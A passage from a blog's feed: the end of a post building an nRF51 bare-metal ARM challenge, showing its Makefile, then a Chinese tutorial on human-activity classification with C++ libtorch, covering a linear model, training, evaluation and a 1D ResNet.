id="makefile">Makefile</h3><p>After everything prepared, use simply a makefile to complie.</p><figure class="highlight makefile"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line">TARGET = main</span><br><span class="line"></span><br><span class="line">CC = arm-none-eabi-gcc</span><br><span class="line">OBJCOPY = arm-none-eabi-objcopy</span><br><span class="line"></span><br><span class="line">SRC = main.c \</span><br><span class="line"> <span class="variable">$(<span class="built_in">wildcard</span> nrfx/drivers/src/*.c)</span> \</span><br><span class="line"> nrfx/mdk/gcc_startup_nrf51.S</span><br><span class="line"></span><br><span class="line">INCLUDES = -I. -Inrfx -Inrfx/mdk -Inrfx/hal -Inrfx/templates -Inrfx/drivers/<span class="keyword">include</span></span><br><span class="line"></span><br><span class="line">CFLAGS = -mcpu=cortex-m0 -mthumb -Wall -O0 -g -DNRF51 -DNRF51822_XXAA <span class="variable">$(INCLUDES)</span></span><br><span class="line"></span><br><span class="line">LDFLAGS = -T nrf51822_xxaa.ld -nostartfiles</span><br><span class="line"></span><br><span class="line">OBJ := $(SRC:.c=.o)</span><br><span class="line">OBJ := $(OBJ:.S=.o)</span><br><span class="line"></span><br><span class="line"><span class="section">all: <span class="variable">$(TARGET)</span>.elf</span></span><br><span class="line"></span><br><span class="line"><span class="section">%.o: %.c</span></span><br><span class="line"> <span class="variable">$(CC)</span> <span class="variable">$(CFLAGS)</span> -c <span class="variable">$<</span> -o <span class="variable">$@</span></span><br><span class="line"></span><br><span class="line"><span class="section">%.o: %.S</span></span><br><span class="line"> <span class="variable">$(CC)</span> <span class="variable">$(CFLAGS)</span> -c <span class="variable">$<</span> -o <span class="variable">$@</span></span><br><span class="line"></span><br><span class="line"><span class="variable">$(TARGET)</span>.elf: <span class="variable">$(OBJ)</span></span><br><span class="line"> <span class="variable">$(CC)</span> <span class="variable">$(CFLAGS)</span> <span class="variable">$(LDFLAGS)</span> <span class="variable">$^</span> -o <span class="variable">$@</span></span><br><span class="line"></span><br><span class="line"><span class="section">bin: <span class="variable">$(TARGET)</span>.elf</span></span><br><span class="line"> <span class="variable">$(OBJCOPY)</span> -O binary <span class="variable">$<</span> <span class="variable">$(TARGET)</span>.bin</span><br><span class="line"></span><br><span class="line"><span class="section">clean:</span></span><br><span class="line"> rm -f <span class="variable">$(OBJ)</span> <span class="variable">$(TARGET)</span>.elf <span class="variable">$(TARGET)</span>.bin</span><br></pre></td></tr></tbody></table></figure><h1 id="references">References</h1><section id="footnotes" class="footnotes footnotes-end-of-document" role="doc-endnotes"><hr><ol><li id="fn1"><p><a href="https://www.waveshare.net/w/upload/9/9a/NRF51_Series_Reference_Manual_v2.1.pdf">NRF51_Series_Reference_Manual_v2.1.pdf</a><a href="#fnref1" class="footnote-back" role="doc-backlink">↩︎</a></p></li><li id="fn2"><p><a href="https://developer.arm.com/documentation/ddi0419/latest">Armv6-MArchitecture Reference Manual</a><a href="#fnref2" class="footnote-back" role="doc-backlink">↩︎</a></p></li></ol></section>]]></content>
<summary type="html"><h1 id="foreword">Foreword</h1>
<p>想给今年的 HGAME Mini
2025 出一道简单的 Pwn 题,突然想着之前的题目似乎没有涉及到 IoT
Pwn 的(虽然可能是因为不太算 pwn 的入门内容?),打算来一道比较简单的,正好学习一下 IoT 的相关知识吧。</summary>
<category term="Pwn" scheme="http://summ2.link/categories/Pwn/"/>
<category term="QEMU" scheme="http://summ2.link/tags/QEMU/"/>
<category term="ARM" scheme="http://summ2.link/tags/ARM/"/>
<category term="bare metal" scheme="http://summ2.link/tags/bare-metal/"/>
</entry>
<entry>
<title>简单神经网络搭建</title>
<link href="http://summ2.link/categories/Study/simple-nn/"/>
<id>http://summ2.link/categories/Study/simple-nn/</id>
<published>2025-05-26T16:00:00.000Z</published>
<updated>2025-05-26T16:00:00.000Z</updated>
<content type="html"><![CDATA[<h1 id="前言">前言</h1><p>程序设计课期末作业要求实现一个「基于可穿戴传感器数据的人体活动识别」,具体是实现一个分类任务。</p><span id="more"></span><blockquote><p>数据采集设备以每秒 1 次的频率记录传感器信息,涵盖加速度(x、y、 z轴)、陀螺仪角速度(x、y、z 轴)、温度、湿度、心率、皮肤电反应等共计 561个数值型特征维度。每条数据均标注了活动类别标签,包括以下六类:</p><p>WALKING:行走,标记为 1</p><p>WALKING_UPSTAIRS:上楼梯,标记为 2</p><p>WALKING_DOWNSTAIRS:下楼梯,标记为 3</p><p>SITTING:坐着,标记为 4</p><p>STANDING:站着,标记为 5</p><p>LAYING:平躺,标记为 6</p></blockquote><h1 id="基本设计">基本设计</h1><div class="note info"><p>以下代码依赖 <code>C++ libtorch</code> 库,使用 <code>CUDA</code></p></div><h2 id="数据处理">数据处理</h2><p>读入给定的训练集 <code>X_test.txt</code> 和对应的标签 <code>y_test.txt</code>,并且使用 <code>from_blob</code> 转换为张量类型 <code>torch::tensor()</code></p><figure class="highlight cpp"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">class</span> <span class="title class_">CustomDataset</span> : <span class="keyword">public</span> torch::data::Dataset<CustomDataset> {</span><br><span class="line"><span class="keyword">private</span>:</span><br><span class="line"> std::vector<torch::Tensor> features_;</span><br><span class="line"> std::vector<torch::Tensor> labels_;</span><br><span class="line"></span><br><span class="line"><span class="keyword">public</span>:</span><br><span class="line"> <span class="built_in">CustomDataset</span>(<span class="type">const</span> std::string& feature_file, <span class="type">const</span> std::string& label_file) {</span><br><span class="line"> <span class="function">std::ifstream <span class="title">ffile</span><span class="params">(feature_file)</span></span>;</span><br><span class="line"> <span class="function">std::ifstream <span class="title">lfile</span><span class="params">(label_file)</span></span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (!ffile.<span class="built_in">is_open</span>() || !lfile.<span class="built_in">is_open</span>()) {</span><br><span class="line"> <span class="keyword">throw</span> std::<span class="built_in">runtime_error</span>(<span class="string">"无法打开特征或标签文件"</span>);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> std::vector<<span class="type">float</span>> buffer;</span><br><span class="line"> std::string line;</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 读取特征</span></span><br><span class="line"> <span class="keyword">while</span> (std::<span class="built_in">getline</span>(ffile, line)) {</span><br><span class="line"> <span class="function">std::istringstream <span class="title">ss</span><span class="params">(line)</span></span>;</span><br><span class="line"> <span class="type">float</span> val;</span><br><span class="line"> <span class="keyword">while</span> (ss >> val) {</span><br><span class="line"> buffer.<span class="built_in">push_back</span>(val);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="type">size_t</span> total_samples = buffer.<span class="built_in">size</span>() / <span class="number">561</span>;</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">size_t</span> i = <span class="number">0</span>; i < total_samples; ++i) {</span><br><span class="line"> torch::Tensor x = torch::<span class="built_in">from_blob</span>(buffer.<span class="built_in">data</span>() + i * <span class="number">561</span>, {<span class="number">561</span>}, torch::kFloat).<span class="built_in">clone</span>();</span><br><span class="line"> features_.<span class="built_in">push_back</span>(x);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="comment">// 读取标签</span></span><br><span class="line"> <span class="keyword">while</span> (std::<span class="built_in">getline</span>(lfile, line)) {</span><br><span class="line"> <span class="type">int</span> label = std::<span class="built_in">stoi</span>(line) - <span class="number">1</span>; <span class="comment">//label:1-6 (expected 0-5)</span></span><br><span class="line"> labels_.<span class="built_in">push_back</span>(torch::<span class="built_in">tensor</span>(label, torch::kLong));</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (features_.<span class="built_in">size</span>() != labels_.<span class="built_in">size</span>()) {</span><br><span class="line"> <span class="keyword">throw</span> std::<span class="built_in">runtime_error</span>(<span class="string">"特征数与标签数不一致!"</span>);</span><br><span class="line"> }</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line">};</span><br></pre></td></tr></tbody></table></figure><h2 id="定义模型">定义模型</h2><p>为了先让程序跑起来,考虑使用<strong>单层神经网络</strong>实现需求。</p><p>即只包含一个<strong>线性层</strong>,其中输入样本特征的大小 561,输出样本特征的大小 6。</p><p><em>定义:</em></p><ul><li><p>一个结构体,继承 <code>torch::nn::Module</code></p></li><li><p>线性层 <code>torch::nn::Linear</code></p></li><li><p>前向传播函数 <code>torch::Tensor forward(torch::Tensor x)</code></p></li></ul><p>使用宏 <code>TORCH_MODULE()</code>,使程序可以调用 <code>torch::save()</code>,<code>torch::load()</code></p><figure class="highlight cpp"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">struct</span> <span class="title class_">NetImpl</span> : torch::nn::Module {</span><br><span class="line"> torch::nn::Linear fc{<span class="literal">nullptr</span>};</span><br><span class="line"> <span class="built_in">NetImpl</span>() {</span><br><span class="line"> fc = <span class="built_in">register_module</span>(<span class="string">"fc"</span>, torch::nn::<span class="built_in">Linear</span>(<span class="number">561</span>, <span class="number">6</span>));</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function">torch::Tensor <span class="title">forward</span><span class="params">(torch::Tensor x)</span> </span>{</span><br><span class="line"> <span class="keyword">return</span> <span class="built_in">fc</span>(x);</span><br><span class="line"> }</span><br><span class="line">};</span><br><span class="line"></span><br><span class="line"><span class="built_in">TORCH_MODULE</span>(Net);</span><br></pre></td></tr></tbody></table></figure><h2 id="训练过程">训练过程</h2><p>此训练过程基于<strong>小批量随机梯度下降(SGD)</strong>优化算法。具体而言,每个训练迭代将处理一个包含 8 个样本的小批量数据。</p><p>在每个训练周期内: 1. 前向传播 2. 损失计算 3. 梯度清零 4. 反向传播 5.参数更新</p><p>使用 <code>torch::data::Dataset<CustomDataset></code> 的 <code>map</code> 方法,应用转换 (transform)<code>torch::data::transforms::Stack<>()</code> 到数据集的每个单独样本上。这将让多个单独张量堆叠,形成一个批次张量。</p><figure class="highlight cpp"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">const</span> std::string feature_file = <span class="string">"/home/summer/CLionProjects/cppAssignment202505/X_train.txt"</span>;</span><br><span class="line"><span class="type">const</span> std::string label_file = <span class="string">"/home/summer/CLionProjects/cppAssignment202505/y_train.txt"</span>;</span><br><span class="line"><span class="type">const</span> <span class="type">size_t</span> batch_size = <span class="number">8</span>;</span><br><span class="line"><span class="type">const</span> <span class="type">size_t</span> num_epochs = <span class="number">10</span>;</span><br><span class="line"><span class="type">const</span> <span class="type">double</span> learning_rate = <span class="number">0.01</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">auto</span> dataset = <span class="built_in">CustomDataset</span>(feature_file, label_file).<span class="built_in">map</span>(torch::data::transforms::Stack<>());</span><br><span class="line"><span class="keyword">auto</span> data_loader = torch::data::<span class="built_in">make_data_loader</span>(dataset, batch_size);</span><br><span class="line"></span><br><span class="line">Net model = <span class="built_in">Net</span>();</span><br><span class="line">torch::<span class="function">optim::SGD <span class="title">optimizer</span><span class="params">(model->parameters(), learning_rate)</span></span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (<span class="type">size_t</span> epoch = <span class="number">1</span>; epoch <= num_epochs; ++epoch) {</span><br><span class="line"> model-><span class="built_in">train</span>();</span><br><span class="line"> <span class="type">double</span> total_loss = <span class="number">0.0</span>;</span><br><span class="line"> <span class="type">size_t</span> batch_idx = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">for</span> (<span class="keyword">auto</span>& batch : *data_loader) {</span><br><span class="line"> <span class="keyword">auto</span> data = batch.data;</span><br><span class="line"> <span class="keyword">auto</span> targets = batch.target;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">auto</span> output = model->forward(data);</span><br><span class="line"> <span class="keyword">auto</span> loss = torch::nn::functional::<span class="built_in">cross_entropy</span>(output, targets);</span><br><span class="line"></span><br><span class="line"> optimizer.<span class="built_in">zero_grad</span>();</span><br><span class="line"> loss.<span class="built_in">backward</span>();</span><br><span class="line"> optimizer.<span class="built_in">step</span>();</span><br><span class="line"> total_loss += loss.<span class="keyword">template</span> <span class="built_in">item</span><<span class="type">double</span>>();</span><br><span class="line"> ++batch_idx;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> std::cout << <span class="string">"Epoch ["</span> << epoch << <span class="string">"/"</span> << num_epochs << <span class="string">"] Avg Loss: "</span></span><br><span class="line"> << (total_loss / batch_idx) << std::endl;</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>训练完成后,保存模型</p><figure class="highlight cpp"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">torch::<span class="built_in">save</span>(model, <span class="string">"/home/summer/CLionProjects/cppAssignment202505/model.pt"</span>);</span><br></pre></td></tr></tbody></table></figure><h1 id="数据预测">数据预测</h1><p>为了评估模型的泛化能力,我们按照与训练数据相似的方法,读取并处理<strong>测试集</strong>。</p><figure class="highlight cpp"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">const</span> std::string model_path = <span class="string">"/home/summer/CLionProjects/cppAssignment202505/model.pt"</span>;</span><br><span class="line"><span class="type">const</span> std::string feature_file = <span class="string">"/home/summer/CLionProjects/cppAssignment202505/X_test.txt"</span>;</span><br><span class="line"><span class="type">const</span> std::string label_file = <span class="string">"/home/summer/CLionProjects/cppAssignment202505/y_test.txt"</span>;</span><br><span class="line"><span class="type">const</span> <span class="type">size_t</span> batch_size = <span class="number">8</span>;</span><br><span class="line"></span><br><span class="line">Net model= <span class="built_in">Net</span>();</span><br><span class="line">torch::<span class="built_in">load</span>(model, model_path);</span><br><span class="line">model-><span class="built_in">eval</span>();</span><br><span class="line"></span><br><span class="line"><span class="keyword">auto</span> dataset = <span class="built_in">CustomDataset</span>(feature_file, label_file).<span class="built_in">map</span>(torch::data::transforms::Stack<>());</span><br><span class="line"><span class="keyword">auto</span> data_loader = torch::data::<span class="built_in">make_data_loader</span>(dataset, batch_size);</span><br><span class="line"></span><br><span class="line"><span class="type">size_t</span> correct = <span class="number">0</span>;</span><br><span class="line"><span class="type">size_t</span> total = <span class="number">0</span>;</span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> (<span class="keyword">auto</span>& batch : *data_loader) {</span><br><span class="line"> <span class="keyword">auto</span> data = batch.data;</span><br><span class="line"> <span class="keyword">auto</span> targets = batch.target;</span><br><span class="line"></span><br><span class="line"> <span class="keyword">auto</span> output = model->forward(data);</span><br><span class="line"> <span class="keyword">auto</span> pred = output.<span class="built_in">argmax</span>(<span class="number">1</span>);</span><br><span class="line"></span><br><span class="line"> correct += pred.<span class="built_in">eq</span>(targets).<span class="built_in">sum</span>().<span class="keyword">template</span> <span class="built_in">item</span><<span class="type">int64_t</span>>();</span><br><span class="line"> total += targets.<span class="built_in">size</span>(<span class="number">0</span>);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="type">double</span> accuracy = <span class="built_in">static_cast</span><<span class="type">double</span>>(correct) / total * <span class="number">100.0</span>;</span><br><span class="line">std::cout << <span class="string">"Test Accuracy: "</span> << accuracy << <span class="string">"%"</span> << std::endl;</span><br></pre></td></tr></tbody></table></figure><p>使用上述神经网络得到的结果是:</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">Test Accuracy: 94.1636%</span><br></pre></td></tr></tbody></table></figure><h1 id="模型优化">模型优化</h1><p>采用<strong>残差网络</strong>(ResNet)优化模型</p><h2 id="残差块">残差块</h2><p>采用两层卷积层,两层标准化层以及 ReLU 激活函数。</p><figure><img src="\2025527-简单神经网络搭建/resnet-e1548261477164_2_mD02h5A.png" alt="Residual Block"><figcaption aria-hidden="true">Residual Block</figcaption></figure><p>并且定义对 <code>identity</code> 的下采样处理 <code>downsample</code>,使用 <code>torch::nn::Sequential</code> 可以将多个模块堆叠。</p><figure class="highlight cpp"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">ResidualBlock1DImpl</span>(<span class="type">int64_t</span> in_channels, <span class="type">int64_t</span> out_channels, <span class="type">int64_t</span> stride = <span class="number">1</span>) {</span><br><span class="line"> conv1 = <span class="built_in">register_module</span>(<span class="string">"conv1"</span>, torch::nn::<span class="built_in">Conv1d</span>(torch::nn::<span class="built_in">Conv1dOptions</span>(in_channels, out_channels, <span class="number">3</span>).<span class="built_in">stride</span>(stride).<span class="built_in">padding</span>(<span class="number">1</span>).<span class="built_in">bias</span>(<span class="literal">false</span>)));</span><br><span class="line"> bn1 = <span class="built_in">register_module</span>(<span class="string">"bn1"</span>, torch::nn::<span class="built_in">BatchNorm1d</span>(out_channels));</span><br><span class="line"> conv2 = <span class="built_in">register_module</span>(<span class="string">"conv2"</span>, torch::nn::<span class="built_in">Conv1d</span>(torch::nn::<span class="built_in">Conv1dOptions</span>(out_channels, out_channels, <span class="number">3</span>).<span class="built_in">stride</span>(<span class="number">1</span>).<span class="built_in">padding</span>(<span class="number">1</span>).<span class="built_in">bias</span>(<span class="literal">false</span>)));</span><br><span class="line"> bn2 = <span class="built_in">register_module</span>(<span class="string">"bn2"</span>, torch::nn::<span class="built_in">BatchNorm1d</span>(out_channels));</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (stride != <span class="number">1</span> || in_channels != out_channels) {</span><br><span class="line"> downsample = <span class="built_in">register_module</span>(<span class="string">"downsample"</span>, torch::nn::<span class="built_in">Sequential</span>(</span><br><span class="line"> torch::nn::<span class="built_in">Conv1d</span>(torch::nn::<span class="built_in">Conv1dOptions</span>(in_channels, out_channels, <span class="number">1</span>).<span class="built_in">stride</span>(stride).<span class="built_in">bias</span>(<span class="literal">false</span>)),</span><br><span class="line"> torch::nn::<span class="built_in">BatchNorm1d</span>(out_channels)</span><br><span class="line"> ));</span><br><span class="line"> }</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><p>定义前向传播的两条路径:</p><figure class="highlight cpp"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br></pre></td><td class="code"><pre><span class="line"><span class="function">torch::Tensor <span class="title">forward</span><span class="params">(torch::Tensor x)</span> </span>{</span><br><span class="line"> <span class="keyword">auto</span> identity = x.<span class="built_in">clone</span>();</span><br><span class="line"> x = torch::<span class="built_in">relu</span>(<span class="built_in">bn1</span>(<span class="built_in">conv1</span>(x)));</span><br><span class="line"> x = <span class="built_in">bn2</span>(<span class="built_in">conv2</span>(x));</span><br><span class="line"></span><br><span class="line"> <span class="keyword">if</span> (!downsample-><span class="built_in">is_empty</span>()) {</span><br><span class="line"> identity = downsample->forward(identity);</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> x += identity;</span><br><span class="line"> <span class="keyword">return</span> torch::<span class="built_in">relu</span>(x);</span><br><span class="line">}</span><br></pre></td></tr></tbody></table></figure><h2 id="残差网络">残差网络</h2><p>我们的网络架构基于 ResNet 的原理,并采用以下具体结构:</p><figure class="highlight plaintext"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">输入 -> 卷积层 -> 标准化层 -> 激活层 -> 残差块 -> 平均池化 -> 全连接层 -> 输出</span><br></pre></td></tr></tbody></table></figure><figure class="highlight cpp"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">struct</span> <span class="title class_">ResNet1DImpl</span> : torch::nn::Module {</span><br><span class="line"> torch::nn::Conv1d conv{<span class="literal">nullptr</span>};</span><br><span class="line"> torch::nn::BatchNorm1d bn{<span class="literal">nullptr</span>};</span><br><span class="line"> torch::nn::Sequential layer1, layer2, layer3;</span><br><span class="line"> torch::nn::Linear fc{<span class="literal">nullptr</span>};</span><br><span class="line"></span><br><span class="line"> <span class="built_in">ResNet1DImpl</span>() {</span><br><span class="line"> conv = <span class="built_in">register_module</span>(<span class="string">"conv"</span>, torch::nn::<span class="built_in">Conv1d</span>(torch::nn::<span class="built_in">Conv1dOptions</span>(<span class="number">1</span>, <span class="number">64</span>, <span class="number">7</span>).<span class="built_in">stride</span>(<span class="number">2</span>).<span class="built_in">padding</span>(<span class="number">3</span>).<span class="built_in">bias</span>(<span class="literal">false</span>)));</span><br><span class="line"> bn = <span class="built_in">register_module</span>(<span class="string">"bn"</span>, torch::nn::<span class="built_in">BatchNorm1d</span>(<span class="number">64</span>));</span><br><span class="line"></span><br><span class="line"> layer1 = <span class="built_in">register_module</span>(<span class="string">"layer1"</span>, _make_layer(<span class="number">64</span>, <span class="number">64</span>, <span class="number">2</span>, <span class="number">1</span>));</span><br><span class="line"> layer2 = <span class="built_in">register_module</span>(<span class="string">"layer2"</span>, _make_layer(<span class="number">64</span>, <span class="number">64</span>, <span class="number">2</span>, <span class="number">2</span>));</span><br><span class="line"> layer3 = <span class="built_in">register_module</span>(<span class="string">"layer3"</span>, _make_layer(<span class="number">64</span>, <span class="number">128</span>, <span class="number">2</span>, <span class="number">2</span>));</span><br><span class="line"></span><br><span class="line"> fc = <span class="built_in">register_module</span>(<span class="string">"fc"</span>, torch::nn::<span class="built_in">Linear</span>(<span class="number">128</span>, <span class="number">6</span>));</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> torch::nn::Sequential _make_layer(<span class="type">int64_t</span> in_channels, <span class="type">int64_t</span> out_channels, <span class="type">int</span> blocks, <span class="type">int</span> stride) {</span><br><span class="line"> torch::nn::Sequential layers;</span><br><span class="line"> layers-><span class="built_in">push_back</span>(<span class="built_in">ResidualBlock1D</span>(in_channels, out_channels, stride));</span><br><span class="line"> <span class="keyword">for</span> (<span class="type">int</span> i = <span class="number">1</span>; i < blocks; ++i) {</span><br><span class="line"> layers-><span class="built_in">push_back</span>(<span class="built_in">ResidualBlock1D</span>(out_channels, out_channels));</span><br><span class="line"> }</span><br><span class="line"> <span class="keyword">return</span> layers;</span><br><span class="line"> }</span><br><span class="line"></span><br><span class="line"> <span class="function">torch::Tensor <span class="title">forward</span><span class="params">(torch::Tensor x)</span> </span>{</span><br><span class="line"> x = x.<span class="built_in">unsqueeze</span>(<span class="number">1</span>); <span class="comment">// (batch, 1, 561)</span></span><br><span class="line"> x = torch::<span class="built_in">relu</span>(<span class="built_in">bn</span>(<span class="built_in">conv</span>(x)));</span><br><span class="line"> x = layer1->forward(x);</span><br><span class="line"> x = layer2->forward(x);</span><br><span class="line"> x = layer3->forward(x);</span><br><span class="line"></span><br><span class="line"> x = torch::<span class="built_in">adaptive_avg_pool1d</span>(x, <span class="number">1</span>);</span><br><span class="line"> x = x.<span class="built_in">view</span>({x.<span class="built_in">size</span>(<span class="number">0</span>), <span class="number">-1</span>});</span><br><span class="line"> x = <span class="built_in">fc</span>(x);</span><br><span class="line"> <span class="keyword">return</span> x;</span><br><span class="line"> }</span><br><span class="line">};</span><br><span class="line"><span class="built_in">TORCH_MODULE</span>(ResNet1D);</span><br></pre></td></tr></tbody></table></figure><h1 id="性能优化">性能优化</h1><p>为了加快训练速度,可以将训练过程转移到 <strong>GPU</strong> 上运行</p><figure class="highlight cpp"><table><tbody><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br></pre></td><td class="code"><pre><span class="line">torch::<span class="built_in">manual_seed</span>(<span class="number">42</span>);</span><br><span class="line"></span><br><span class="line"><span class="function">torch::Device <span class="title">device</span><span class="params">(torch::kCPU)</span></span>;</span><br><span class="line"><span class="keyword">if</span> (torch::cuda::<span class="built_in">is_available</span>()) {</span><br><span class="line"> std::cout << <span class="string">"CUDA is available! Training on GPU."</span> << std::endl;</span><br><span class="line"> device = torch::<span class="built_in">Device</span>(torch::kCUDA);</span><br><span class="line">}</span><br><span class="line"></span><br><span class="line"><span class="type">const</span> std::string train_feature_file = <span class="string">"/home/summer/CLionProjects/cppAssignment202505/X_train.txt"</span>;</span><br><span class="line"><span class="type">const</span> std::string train_label_file = <span class="string">"/home/summer/CLionProjects/cppAssignment202505/y_train.txt"</span>;</span><br><span class="line"><span class="type">const</span> std::string 